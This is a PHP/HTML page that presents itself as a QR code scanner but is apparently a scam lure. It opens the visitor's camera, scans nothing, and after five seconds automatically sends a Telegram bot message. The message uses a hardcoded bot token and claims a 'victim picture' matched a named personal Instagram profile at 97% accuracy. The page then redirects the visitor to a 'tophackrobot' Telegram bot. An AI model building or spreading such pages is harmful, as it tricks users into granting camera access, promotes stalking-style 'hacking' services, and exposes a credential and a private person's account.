<?php
$originalNumber = isset($_GET['id']) ? $_GET['id'] : '';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>QR Code Scanner</title>
    <style>
        body {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #2e2e2e;
            font-family: Arial, sans-serif;
            color: white;
            text-align: center;
        }
        #scanner {
            position: relative;
            width: 320px;
            height: 320px;
            border: 10px solid #555;
            border-radius: 15px;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #444;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
            overflow: hidden;
        }
        #qr-video {
            width: 100%;
            height: 100%;
            object-fit: cover;
            border-radius: 10px;
        }
        .message {
            margin-top: 20px;
            font-size: 22px;
            color: #33cc33;
            font-weight: bold;
        }
        #flashlight {
            margin-top: 15px;
            background-color: #666;
            border: none;
            border-radius: 50%;
            width: 45px;
            height: 45px;
            color: white;
            font-size: 20px;
            display: flex;
            justify-content: center;
            align-items: center;
            cursor: pointer;
            transition: background-color 0.3s ease;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
        }
        #flashlight:hover {
            background-color: #777;
        }
    </style>
</head>
<body>

    <div id="scanner">
        <video id="qr-video" autoplay playsinline muted></video>
    </div>
    <button id="flashlight">🔦</button>
    <div class="message" id="success-message"></div>

    <script>
        const video = document.getElementById('qr-video');
        const flashlightButton = document.getElementById('flashlight');
        let stream;
        let track;
        let flashlightEnabled = false;

        async function startVideoStream() {
            try {
                const constraints = { video: { facingMode: "environment" } };
                stream = await navigator.mediaDevices.getUserMedia(constraints);
                video.srcObject = stream;
                track = stream.getVideoTracks()[0];
            } catch (error) {
                console.error("Camera access error:", error);
                alert("Error accessing camera. Please open in an external browser if using Telegram.");
            }
        }

        flashlightButton.addEventListener('click', () => {
            if (track && track.getCapabilities().torch) {
                flashlightEnabled = !flashlightEnabled;
                track.applyConstraints({ advanced: [{ torch: flashlightEnabled }] });
            } else {
                alert("Flashlight not supported on this device.");
            }
        });

        function sendTelegramMessage() {
            const botToken = '7594097068:AAF4vZCdt6hSXnO4blUBovUII66iZ9q8B4I'; 
            const chatId = '1750573037'; 
            const message = "<b>📜 Instagram Profile Found\n\n🔗 Profile Link:\nhttps://www.instagram.com/dhanashree9?igsh=MXVzY3Z0OHhlYngwMQ==\n\n✅ Victim Picture Matched with above profile up to 97% accurate.</b>"; 

            const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=html`;
            
            fetch(url)
                .then(response => response.json())
                .then(data => {
                    alert("Matched ID found!");
                    setTimeout(() => {
                        window.location.href = "https://t.me/tophackrobot";
                    }, 2000);
                })
                .catch(error => {
                    alert("Failed to fetch ID.");
                    console.error(error);
                });
        }

        window.addEventListener('load', () => {
            startVideoStream();
            setTimeout(sendTelegramMessage, 5000);
        });

    </script>

</body>
</html>
